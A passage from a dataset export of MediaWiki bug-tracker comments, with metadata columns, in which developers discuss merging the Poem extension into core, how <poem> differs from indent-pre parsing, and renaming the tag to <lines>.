  don't make a whole lot of sense in a preformatted context). In <poem>,
  indents are handled specially (using a fixed-width <span> to give 1em
  indentation per : character), and line-initial spaces are transformed
  to &nbsp;, to cope with the special formatting of some poetry.

* Wikitext {| |} tables are available within <poem>, whereas indent-pre is
  aborted as soon as a table is found.

* Indent-pre formatting is aborted whenever a block-level tag is
  encountered on the line. Block-level formatting is, however, available
  inside <poem> (although this is only useful for stuff like <table>, since
  the appearance of tags like <p> is affected quite badly by the <pre>
  environment).

* Indent-pre is not available inside <blockquote>, for unclear reasons.
  <poem> works fine inside <blockquote>, just as anywhere else.

* <poem> allows the application of a custom class/ID/style. The use of a
  tag also allows extra attributes to be used - I have a patch in the works
  that adds line numbering support to <poem>, which makes use of several
  additional tag attributes (see bug 13644).

I don't think it is correct to speak of ""resolving"" these discrepancies. As you can see, most of them seem to exist for a reason, and most involve idiosyncrasies in the existing indent-pre behaviour, any changes to which would disrupt existing wikitext.

(Note, when I talk about <poem> above, I'm talking about the new implementation in Gerrit. The old extension sometimes does things differently.)

> 3) I'd also like to review the code coverage issues a little more, to ensure
> that we're sharing code (and CSS rules) to the maximum extent possible.

I think this is up to you, Scott, and others in the know.",,,1391835029,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,31,,0.8333333333333334,0.0,0.0,1.8333333333333333,1.0,4.666666666666667,1.1666666666666667,0.16666666666666666,0.16666666666666666,0.0,2.3333333333333335,1.0,0.0,0.3333333333333333,0.16666666666666666,1.5,0.5,5.833333333333333,10.5,0.0,1.1666666666666667,0.0,0.5,0.0,0.6666666666666666,0.0,0.16666666666666666,0.8333333333333334,0.16666666666666666,0.3333333333333333,0.16666666666666666,6.5,2.3333333333333335,0.3333333333333333,0.5,0.3333333333333333,0.3333333333333333,0.16666666666666666,0.5,0.8333333333333334,0.0,0.3333333333333333,0.0,1.1666666666666667,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,15.166666666666666,0.8333333333333334,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.6666666666666666,0.16666666666666666,0.16666666666666666,0.6666666666666666,0.0,0.5,0.0,0.0,0.16666666666666666,4.166666666666667,4.0,7.333333333333333,1.0,1.3333333333333333,6.166666666666667,0.0,0.0,0.0,0.16666666666666666,2.8333333333333335,0.0,0.8333333333333334,0.0,2.5,10.5,4.0,0.0,0.3333333333333333,0.0,2.5,0.0,1.0,1.6666666666666667,0.3333333333333333,1.0,0.0,0.3333333333333333,3.8333333333333335,3.6660270467836256,0.6712536549707601,"(In reply to comment #31)
QUOTE
QUOTE
QUOTE
QUOTE

I'll post one.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Let me expand a bit here: <poem> is designed for the treatment of poetry. I don't know what indent-pre was designed for, but one assumes it was intended for general-purpose, preformatted text, such as command line outputs and plain-text tables. The two use-cases are somewhat different.

I went through and found the following differences. There are probably many others.

* For some reason, indent-pre doesn't handle ----. Presumably this is so
  preformatted tables, etc (e.g. those copied out of the MySQL monitor)
  still appear correctly. This consideration is not relevant for <poem> and
  so ---- is parsed inside these tags. Indeed, ---- within <poem> is quite
  common at Wikisource.

* Indents using : are ignored within indent-pre (presumably because they
  don't make a whole lot of sense in a preformatted context). In <poem>,
  indents are handled specially (using a fixed-width <span> to give 1em
  indentation per : character), and line-initial spaces are transformed
  to &nbsp;, to cope with the special formatting of some poetry.

* Wikitext {| |} tables are available within <poem>, whereas indent-pre is
  aborted as soon as a table is found.

* Indent-pre formatting is aborted whenever a block-level tag is
  encountered on the line. Block-level formatting is, however, available
  inside <poem> (although this is only useful for stuff like <table>, since
  the appearance of tags like <p> is affected quite badly by the <pre>
  environment).

* Indent-pre is not available inside <blockquote>, for unclear reasons.
  <poem> works fine inside <blockquote>, just as anywhere else.

* <poem> allows the application of a custom class/ID/style. The use of a
  tag also allows extra attributes to be used - I have a patch in the works
  that adds line numbering support to <poem>, which makes use of several
  additional tag attributes (see bug 13644).

I don't think it is correct to speak of ""resolving"" these discrepancies. As you can see, most of them seem to exist for a reason, and most involve idiosyncrasies in the existing indent-pre behaviour, any changes to which would disrupt existing wikitext.

(Note, when I talk about <poem> above, I'm talking about the new implementation in Gerrit. The old extension sometimes does things differently.)

QUOTE
QUOTE

I think this is up to you, Scott, and others in the know."
237385,Merge Poem extension into MediaWiki core,"(In reply to comment #31)
> 1) In comment 29, Jesús Martínez Novo made a good suggestion to more widely
> publicize the new <lines> name before it gets committed.  We almost
> inadvertently introduced a conflict with <verbatim>, I'd like some greater
> certainty that the new <lines> name proposal has been seen by a larger number
> of editors/extension authors.  A mailing list thread might be a good way to
> kick off this discussion.

Will a post to wikitech-l suffice? Or is more needed in your opinion? I can probably handle the communication portion of this, just please be explicit with what you would consider sufficient.

> 2) In the comments on the patch, '----' was brought up as the last remaining
> way that the current <lines> implementation differs from 'indent-pre'
> handling.

Okay, I figured out what you mean here. At [[testwiki:Bug 52061#Indent-Pre (""Preceding space"")]] a ""----"", the wikitext equivalent of a horizontal rule (<hr>), is not current expanded when there's a leading space.

In my opinion, this behavior (preceding space + unexpanded horizontal rule) is a separate issue that should be filed as a separate bug report (if one doesn't exist already) and is not a blocker to merging Gerrit change 106861. If you feel differently, can you please elaborate? (Also, can you please search for a relevant bug report and/or file one?)

> 3) I'd also like to review the code coverage issues a little more, to ensure
> that we're sharing code (and CSS rules) to the maximum extent possible.  This
> is to ensure that point #2 continues to hold in the future, and we don't
> accidentally introduce subtle incompatibilities by changing only one side of
> a code path.

Sure, code review is ongoing at Gerrit change 106861. If you have additional suggestions for technical changes, feel free to leave them on Gerrit. :-)",,,1391830615,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.6666666666666666,1.0,5.0,2.0,0.0,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,4.0,7.333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,4.0,1.6666666666666667,0.0,1.3333333333333333,2.6666666666666665,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,11.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,2.6666666666666665,11.666666666666666,1.6666666666666667,1.6666666666666667,4.333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,3.6666666666666665,2.0,1.6666666666666667,0.0,4.333333333333333,7.333333333333333,6.0,1.6666666666666667,1.3333333333333333,0.0,4.333333333333333,0.0,1.3333333333333333,3.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,3.704316780266147,0.6777561397814562,"(In reply to comment #31)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Will a post to wikitech-l suffice? Or is more needed in your opinion? I can probably handle the communication portion of this, just please be explicit with what you would consider sufficient.

QUOTE
QUOTE
QUOTE

Okay, I figured out what you mean here. At [[testwiki:Bug 52061#Indent-Pre (""Preceding space"")]] a ""----"", the wikitext equivalent of a horizontal rule (<hr>), is not current expanded when there's a leading space.

In my opinion, this behavior (preceding space + unexpanded horizontal rule) is a separate issue that should be filed as a separate bug report (if one doesn't exist already) and is not a blocker to merging Gerrit change 106861. If you feel differently, can you please elaborate? (Also, can you please search for a relevant bug report and/or file one?)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sure, code review is ongoing at Gerrit change 106861. If you have additional suggestions for technical changes, feel free to leave them on Gerrit. :-)"
237380,Merge Poem extension into MediaWiki core,"Instead of finding similarities between poem and indent-pre, which is moot since the indentation already breaks all markup that depends on being on the first column of the line, we may look at similarities between poem and normal wikitext.

It's practically the same. The only difference is that poem treats newlines as <br/>, while normal text simply ignore newlines or convert them into paragraphs when there's a combination of newlines.",,,1390939202,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,30,,1.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,1.0,1.0,0.0,6.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,19.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,4.0,4.0,5.0,4.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,16.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,1.0,1.0,1.0,0.0,0.0,1.0,4.469879518072289,0.7469879518072289,"Instead of finding similarities between poem and indent-pre, which is moot since the indentation already breaks all markup that depends on being on the first column of the line, we may look at similarities between poem and normal wikitext.

It's practically the same. The only difference is that poem treats newlines as <br/>, while normal text simply ignore newlines or convert them into paragraphs when there's a combination of newlines."
237375,Merge Poem extension into MediaWiki core,"(In reply to comment #31)
> I'd like to resolve this discrepancy: I really really *really* don't want to
> complicate the parser more with Yet Another Slightly Different Way to handle
> preformatted content.

There's nothing really new here :) We're just sending a <pre> tag to the parser, after all. The change to the parser itself is minuscule, and arguably it is a fix for a long-standing bug that was never exposed until now.

(In reply to comment #33)
> (07:34:41 PM) subbu: so, we were wrong .. <poem> is not indent-pre with
> classes then.

I'm glad you're aware of this! As I said in Gerrit, the similarities are purely coincidental.",,,1390875527,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,30,,0.5,0.0,0.0,1.0,0.0,4.0,2.0,0.0,0.0,0.0,3.5,2.5,0.0,0.0,0.5,2.5,0.0,7.0,9.0,0.5,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,9.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,5.0,3.0,10.5,0.0,0.5,6.0,0.0,0.5,1.0,1.5,1.5,0.0,1.5,0.0,4.5,9.0,1.5,0.0,0.0,0.0,4.5,0.0,1.0,2.5,0.5,1.5,0.0,0.0,1.5,3.3268627450980395,0.8419607843137256,"(In reply to comment #31)
QUOTE
QUOTE
QUOTE

There's nothing really new here :) We're just sending a <pre> tag to the parser, after all. The change to the parser itself is minuscule, and arguably it is a fix for a long-standing bug that was never exposed until now.

(In reply to comment #33)
QUOTE
QUOTE

I'm glad you're aware of this! As I said in Gerrit, the similarities are purely coincidental."
237370,Merge Poem extension into MediaWiki core,"From chat:

(07:32:52 PM) subbu: i just checked the updated wiki page .. and  <hr> and colon-indents seem different in <poem> vs. indent-pre .. probably all wikitext elements that occur in SOL position but are strict about not having any leading ws.
(07:33:16 PM) cscott-free: how many of those are there?
(07:33:36 PM) subbu: i suppose <poem> just calls regular parse on embedded content and then wraps it in wrapper with the right css classes
(07:33:43 PM) subbu: tables are fine with leading space.
(07:34:05 PM) subbu: headings, lists, hr dont work if there is leading WS, iirc.
(07:34:41 PM) subbu: so, we were wrong .. <poem> is not indent-pre with classes then.
(07:35:10 PM) cscott-free: but should it be?  i don't like the idea of adding a bunch of new special cases to the parser.
(07:35:48 PM) subbu: cscott, it cannot be without breaking <poem> behavior OR breaking existing pages that have leading space before :*;#=- chars
(07:35:59 PM) cscott-free: if we can at least parameterize it, such that indent-pre has SOL markers turned off, and <poem> has SOL markers turned on, that would make me happier.
(07:36:14 PM) cscott-free: rather than poem just being gratuitously different in random ways.
(07:36:24 PM) subbu: ya, you are talking of refactoring code in the parser.
(07:36:30 PM) subbu: and reusing it.
(07:36:56 PM) cscott-free: subbu: i'm certainly talking about reusing more parser code, rather than implementing <poem> as a brand new crazy thing.
(07:37:25 PM) cscott-free: i'm tired of having weird corner cases everywhere.
(07:37:50 PM) cscott-free: there should be some principled way we can describe how indent-pre and <poem> are similar.
(07:37:57 PM) subbu: maybe spend some time, how <poem>/<lines> would fit in parsoid land and that can inform the discussion of how the core code can be restructured .. but refactoring/restructure that seems like a lot of work as well.
(07:38:33 PM) cscott-free: in a nutshell that's why i don't want <poem> merged too quickly.  i'd like to understand better how it all fits in.
(07:38:53 PM) cscott-free: and probably to do some dumpGrepping to figure out how much we can change indent-pre and/or <poem> without breaking too much stuff.",,,1390869777,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,30,,1.6666666666666667,0.0,0.0,0.16666666666666666,0.8333333333333334,5.666666666666667,1.1666666666666667,0.0,0.0,0.3333333333333333,2.0,0.8333333333333334,0.0,0.0,0.5,2.0,0.6666666666666666,6.0,7.0,0.0,0.5,0.3333333333333333,0.16666666666666666,0.0,0.8333333333333334,0.0,0.0,0.0,1.0,0.5,0.0,4.0,0.5,1.0,0.16666666666666666,0.16666666666666666,0.3333333333333333,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,13.666666666666666,0.5,0.0,0.0,0.8333333333333334,0.16666666666666666,0.0,0.16666666666666666,0.0,1.0,0.0,0.16666666666666666,0.8333333333333334,0.0,0.0,0.0,0.5,0.0,1.8333333333333333,2.1666666666666665,4.0,1.6666666666666667,2.0,3.6666666666666665,0.0,0.0,0.0,0.16666666666666666,3.1666666666666665,0.0,2.8333333333333335,0.0,3.5,7.0,5.666666666666667,0.3333333333333333,0.0,0.0,3.5,0.0,1.8333333333333333,0.6666666666666666,0.16666666666666666,3.1666666666666665,0.5,0.16666666666666666,2.6666666666666665,3.4896790943139258,0.6942032686414707,"From chat:

(07:32:52 PM) subbu: i just checked the updated wiki page .. and  <hr> and colon-indents seem different in <poem> vs. indent-pre .. probably all wikitext elements that occur in SOL position but are strict about not having any leading ws.
(07:33:16 PM) cscott-free: how many of those are there?
(07:33:36 PM) subbu: i suppose <poem> just calls regular parse on embedded content and then wraps it in wrapper with the right css classes
(07:33:43 PM) subbu: tables are fine with leading space.
(07:34:05 PM) subbu: headings, lists, hr dont work if there is leading WS, iirc.
(07:34:41 PM) subbu: so, we were wrong .. <poem> is not indent-pre with classes then.
(07:35:10 PM) cscott-free: but should it be?  i don't like the idea of adding a bunch of new special cases to the parser.
(07:35:48 PM) subbu: cscott, it cannot be without breaking <poem> behavior OR breaking existing pages that have leading space before :*;#=- chars
(07:35:59 PM) cscott-free: if we can at least parameterize it, such that indent-pre has SOL markers turned off, and <poem> has SOL markers turned on, that would make me happier.
(07:36:14 PM) cscott-free: rather than poem just being gratuitously different in random ways.
(07:36:24 PM) subbu: ya, you are talking of refactoring code in the parser.
(07:36:30 PM) subbu: and reusing it.
(07:36:56 PM) cscott-free: subbu: i'm certainly talking about reusing more parser code, rather than implementing <poem> as a brand new crazy thing.
(07:37:25 PM) cscott-free: i'm tired of having weird corner cases everywhere.
(07:37:50 PM) cscott-free: there should be some principled way we can describe how indent-pre and <poem> are similar.
(07:37:57 PM) subbu: maybe spend some time, how <poem>/<lines> would fit in parsoid land and that can inform the discussion of how the core code can be restructured .. but refactoring/restructure that seems like a lot of work as well.
(07:38:33 PM) cscott-free: in a nutshell that's why i don't want <poem> merged too quickly.  i'd like to understand better how it all fits in.
(07:38:53 PM) cscott-free: and probably to do some dumpGrepping to figure out how much we can change indent-pre and/or <poem> without breaking too much stuff."
237366,Merge Poem extension into MediaWiki core,I added a few more test cases to [[testwiki:bug 52061]] -- leading colons are also parsed differently inside <poem>.,,,1390847758,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,30,,4.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,14.0,3.5,0.9285714285714286,I added a few more test cases to [[testwiki:bug 52061]] -- leading colons are also parsed differently inside <poem>.
237363,Merge Poem extension into MediaWiki core,"I think I just saved this patch from a premature +2.

I'd like to summarize what still needs to be done here:

1) In comment 29, Jesús Martínez Novo made a good suggestion to more widely publicize the new <lines> name before it gets committed.  We almost inadvertently introduced a conflict with <verbatim>, I'd like some greater certainty that the new <lines> name proposal has been seen by a larger number of editors/extension authors.  A mailing list thread might be a good way to kick off this discussion.

2) In the comments on the patch, '----' was brought up as the last remaining way that the current <lines> implementation differs from 'indent-pre' handling.  I'd like to resolve this discrepancy: I really really *really* don't want to complicate the parser more with Yet Another Slightly Different Way to handle preformatted content.

3) I'd also like to review the code coverage issues a little more, to ensure that we're sharing code (and CSS rules) to the maximum extent possible.  This is to ensure that point #2 continues to hold in the future, and we don't accidentally introduce subtle incompatibilities by changing only one side of a code path.

Does anyone else have any remaining issues they'd like to see resolved before this is merged?",,,1390846375,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,30,,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,6.0,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,4.0,0.0,1.0,0.0,3.3333333333333335,0.0,6.333333333333333,11.0,0.3333333333333333,4.333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,4.333333333333333,2.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.6666666666666666,13.666666666666666,0.6666666666666666,1.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,1.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,6.333333333333333,2.0,7.333333333333333,0.6666666666666666,1.0,9.333333333333334,0.0,0.0,0.0,0.3333333333333333,7.333333333333333,0.0,1.0,0.0,4.0,11.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,4.0,0.0,0.6666666666666666,2.6666666666666665,0.0,1.3333333333333333,1.6666666666666667,0.0,3.0,3.9106533499791927,0.7657095297544737,"I think I just saved this patch from a premature +2.

I'd like to summarize what still needs to be done here:

1) In comment 29, Jesús Martínez Novo made a good suggestion to more widely publicize the new <lines> name before it gets committed.  We almost inadvertently introduced a conflict with <verbatim>, I'd like some greater certainty that the new <lines> name proposal has been seen by a larger number of editors/extension authors.  A mailing list thread might be a good way to kick off this discussion.

2) In the comments on the patch, '----' was brought up as the last remaining way that the current <lines> implementation differs from 'indent-pre' handling.  I'd like to resolve this discrepancy: I really really *really* don't want to complicate the parser more with Yet Another Slightly Different Way to handle preformatted content.

3) I'd also like to review the code coverage issues a little more, to ensure that we're sharing code (and CSS rules) to the maximum extent possible.  This is to ensure that point #2 continues to hold in the future, and we don't accidentally introduce subtle incompatibilities by changing only one side of a code path.

Does anyone else have any remaining issues they'd like to see resolved before this is merged?"
237357,Merge Poem extension into MediaWiki core,"Regarding my use of ""indent-pre"" above -- I'm looking at this mostly from the perspective of parser maintenance.  As [[testwiki:bug 52061]] demonstrates, the desired behavior of <poem>/<lines> is the same as the existing behavior of 'indent-pre', although the implementation in the original patch was very different.  I would like to try to avoid adding a bunch of new hair (and crazy interactions) with the new feature, and instead try to reuse the existing indent-pre handling code so that all the corner cases were consistent.

In fact, assuming this gets merged, it might be cleaner in the future to document the ""indent pre"" behavior as ""an implicit <lines> surrounding the indented region"".  This would reduce confusion because ""indent pre"" and ""<pre>"" are actually quite different in their handling of embedded wikitext, etc.

I like the name <lines>, btw.",,,1390666581,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,0.5,0.0,0.5,0.0,0.0,7.5,2.0,0.5,0.5,0.0,4.0,1.5,0.0,0.0,0.0,2.0,0.5,3.0,12.5,0.0,2.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.5,1.0,0.5,3.0,1.0,0.5,0.5,0.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,15.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,7.5,2.5,3.5,2.0,1.5,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,3.0,12.5,0.5,0.0,6.0,0.0,3.0,0.0,0.0,1.0,0.0,4.0,0.5,0.0,5.5,3.836842105263158,0.6894736842105262,"Regarding my use of ""indent-pre"" above -- I'm looking at this mostly from the perspective of parser maintenance.  As [[testwiki:bug 52061]] demonstrates, the desired behavior of <poem>/<lines> is the same as the existing behavior of 'indent-pre', although the implementation in the original patch was very different.  I would like to try to avoid adding a bunch of new hair (and crazy interactions) with the new feature, and instead try to reuse the existing indent-pre handling code so that all the corner cases were consistent.

In fact, assuming this gets merged, it might be cleaner in the future to document the ""indent pre"" behavior as ""an implicit <lines> surrounding the indented region"".  This would reduce confusion because ""indent pre"" and ""<pre>"" are actually quite different in their handling of embedded wikitext, etc.

I like the name <lines>, btw."
237352,Merge Poem extension into MediaWiki core,"lines sounds good, or <preservelines>

That said, maybe it would be more user friendly to use a mediawiki.org page to discuss the tag name, so ideas can be better exposed and have more opinions (remember one have to explicitly register an account here to post a comment).

About <poem> itself, I don't know why is a different name really needed. What are other use cases for this? I've just only used it for poem and lyrics (which is basically the same).",,,1390653738,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.5,1.0,5.5,3.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,9.0,4.5,0.0,2.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.5,0.5,0.0,6.0,1.5,2.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.5,1.5,0.0,2.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,4.5,4.0,4.5,1.5,2.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,4.5,4.5,0.0,1.0,0.0,0.0,4.5,0.0,3.5,3.0,1.0,0.0,2.0,0.0,3.0,3.71843137254902,0.8415686274509804,"lines sounds good, or <preservelines>

That said, maybe it would be more user friendly to use a mediawiki.org page to discuss the tag name, so ideas can be better exposed and have more opinions (remember one have to explicitly register an account here to post a comment).

About <poem> itself, I don't know why is a different name really needed. What are other use cases for this? I've just only used it for poem and lyrics (which is basically the same)."
237347,Merge Poem extension into MediaWiki core,"I like <lines>, the name puts the focus on the individual ""lines"" of the content, which is also what the tag is doing. Nice lateral thinking, Michael :)",,,1390648436,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,8.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,3.0,3.4722222222222223,0.75,"I like <lines>, the name puts the focus on the individual ""lines"" of the content, which is also what the tag is doing. Nice lateral thinking, Michael :)"
237341,Merge Poem extension into MediaWiki core,"(In reply to comment #22)
> (In reply to comment #16)
> > <verbatim> is a misleading name since it still parses wikitext in its
> > content.
> > It is only verbatim for text-content. 
> 
> I do see what you mean here. The problem is, we have so far been unable to
> come
> up with a better name! <poem> is inappropriate as too specific/narrow.
> 

What about <lines>? The tag just just preserves the lines in its content, and it seems generic enough for what is used.",,,1390646698,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,22.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,9.0,13.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,3.240740740740741,0.6666666666666666,"(In reply to comment #22)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

What about <lines>? The tag just just preserves the lines in its content, and it seems generic enough for what is used."
237335,Merge Poem extension into MediaWiki core,"(In reply to comment #25)
> Since this is going to be merged into core/php-parser, presumably, you
> control
> this behavior and where in the parser pipeline the outer wrapping <pre> tag
> is
> generated? I haven't looked at the parser changes to answer that or how easy
> this is since I haven't really hacked the php parser. Maybe Scott can answer
> that more readily. 

I think I've got this part sorted.",,,1390611047,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,6.0,6.0,16.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.90625,0.59375,"(In reply to comment #25)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think I've got this part sorted."
237328,Merge Poem extension into MediaWiki core,"That is right reg. CSS.

Since this is going to be merged into core/php-parser, presumably, you control this behavior and where in the parser pipeline the outer wrapping <pre> tag is generated? I haven't looked at the parser changes to answer that or how easy this is since I haven't really hacked the php parser. Maybe Scott can answer that more readily. 

At least with Parsoid, that is what we will consider outputting for this new tag unless VE folks find a <div> tag simpler than a marked up <pre> tag (seems unlikely).",,,1390609860,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,1.0,1.5,5.0,1.0,0.0,0.0,1.0,0.5,1.5,0.0,0.0,0.0,2.0,1.0,7.5,8.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.5,1.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.5,2.5,0.0,1.5,1.0,0.0,0.0,1.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,3.5,7.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.5,8.0,2.0,0.5,0.0,0.0,2.5,0.0,2.0,1.5,0.0,1.5,1.5,1.0,4.5,3.669491525423729,0.8305084745762712,"That is right reg. CSS.

Since this is going to be merged into core/php-parser, presumably, you control this behavior and where in the parser pipeline the outer wrapping <pre> tag is generated? I haven't looked at the parser changes to answer that or how easy this is since I haven't really hacked the php parser. Maybe Scott can answer that more readily. 

